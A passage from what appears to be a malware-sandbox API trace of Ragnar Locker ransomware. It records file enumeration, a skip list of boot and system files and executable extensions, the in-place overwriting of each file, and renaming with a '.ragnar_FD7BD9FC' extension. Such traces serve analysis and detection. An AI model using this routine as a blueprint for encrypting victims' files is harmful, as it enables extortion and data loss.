[0085.708] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned=".WMF" [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="autorun.inf") returned 1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="boot.ini") returned 1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="bootfont.bin") returned 1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="bootsect.bak") returned 1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="bootmgr") returned 1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="bootmgr.efi") returned 1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="bootmgfw.efi") returned 1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="desktop.ini") returned 1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="iconcache.db") returned 1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="ntldr") returned -1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="ntuser.dat") returned -1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="ntuser.dat.log") returned -1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="ntuser.ini") returned -1 [0085.708] lstrcmpiW (lpString1="J0195342.WMF", lpString2="thumbs.db") returned -1 [0085.708] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.708] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.708] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.708] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.708] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.709] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.709] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf")) returned 0x20 [0085.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.709] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21328) returned 1 [0085.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5347, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.709] GetProcessHeap () returned 0x580000 [0085.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.709] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.711] VirtualAlloc (lpAddress=0x0, dwSize=0x5350, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.712] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5350, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5350, lpOverlapped=0x0) returned 1 [0085.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.713] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5350, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.713] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5350, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5350, lpOverlapped=0x0) returned 1 [0085.713] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5350, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.714] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.714] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5350, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.714] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.714] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.714] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.714] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.714] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.714] GetProcessHeap () returned 0x580000 [0085.714] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.714] CloseHandle (hObject=0xf4) returned 1 [0085.714] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" [0085.714] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.ragnar_FD7BD9FC" [0085.714] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.715] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1 [0085.715] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.715] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0195428.WMF" | out: lpString1="J0195428.WMF") returned="J0195428.WMF" [0085.715] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned=".WMF" [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="autorun.inf") returned 1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="boot.ini") returned 1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="bootfont.bin") returned 1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="bootsect.bak") returned 1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="bootmgr") returned 1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="bootmgr.efi") returned 1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="bootmgfw.efi") returned 1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="desktop.ini") returned 1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="iconcache.db") returned 1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="ntldr") returned -1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="ntuser.dat") returned -1 [0085.715] lstrcmpiW (lpString1="J0195428.WMF", lpString2="ntuser.dat.log") returned -1 [0085.716] lstrcmpiW (lpString1="J0195428.WMF", lpString2="ntuser.ini") returned -1 [0085.716] lstrcmpiW (lpString1="J0195428.WMF", lpString2="thumbs.db") returned -1 [0085.716] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.716] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.716] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.716] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.716] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.716] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.716] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf")) returned 0x20 [0085.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.716] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18622) returned 1 [0085.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x48b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.716] GetProcessHeap () returned 0x580000 [0085.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.716] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.718] VirtualAlloc (lpAddress=0x0, dwSize=0x48be, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.718] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x48be, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x48be, lpOverlapped=0x0) returned 1 [0085.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.719] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x48be, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.719] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x48be, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x48be, lpOverlapped=0x0) returned 1 [0085.720] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x48be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.720] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.720] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x48be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.720] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.720] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.720] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.720] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.720] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.720] GetProcessHeap () returned 0x580000 [0085.720] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.720] CloseHandle (hObject=0xf4) returned 1 [0085.720] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" [0085.720] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.ragnar_FD7BD9FC" [0085.720] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.721] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1 [0085.721] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.721] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0195772.WMF" | out: lpString1="J0195772.WMF") returned="J0195772.WMF" [0085.721] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned=".WMF" [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="autorun.inf") returned 1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="boot.ini") returned 1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="bootfont.bin") returned 1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="bootsect.bak") returned 1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="bootmgr") returned 1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="bootmgr.efi") returned 1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="bootmgfw.efi") returned 1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="desktop.ini") returned 1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="iconcache.db") returned 1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="ntldr") returned -1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="ntuser.dat") returned -1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="ntuser.dat.log") returned -1 [0085.721] lstrcmpiW (lpString1="J0195772.WMF", lpString2="ntuser.ini") returned -1 [0085.722] lstrcmpiW (lpString1="J0195772.WMF", lpString2="thumbs.db") returned -1 [0085.722] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.722] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.722] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.722] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.722] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.722] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.722] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf")) returned 0x20 [0085.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.723] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3680) returned 1 [0085.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.723] GetProcessHeap () returned 0x580000 [0085.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.723] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.724] VirtualAlloc (lpAddress=0x0, dwSize=0xe60, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.725] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe60, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe60, lpOverlapped=0x0) returned 1 [0085.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.725] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe60, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.725] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe60, lpOverlapped=0x0) returned 1 [0085.725] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe60, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.725] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.725] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.725] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.725] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.726] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.726] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.726] GetProcessHeap () returned 0x580000 [0085.726] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.726] CloseHandle (hObject=0xf4) returned 1 [0085.726] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" [0085.726] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.ragnar_FD7BD9FC" [0085.726] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.727] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1 [0085.727] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.727] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0195788.WMF" | out: lpString1="J0195788.WMF") returned="J0195788.WMF" [0085.727] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned=".WMF" [0085.727] lstrcmpiW (lpString1="J0195788.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.727] lstrcmpiW (lpString1="J0195788.WMF", lpString2="autorun.inf") returned 1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="boot.ini") returned 1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="bootfont.bin") returned 1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="bootsect.bak") returned 1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="bootmgr") returned 1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="bootmgr.efi") returned 1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="bootmgfw.efi") returned 1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="desktop.ini") returned 1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="iconcache.db") returned 1 [0085.728] lstrcmpiW (lpString1="J0195788.WMF", lpString2="ntldr") returned -1 [0085.728] 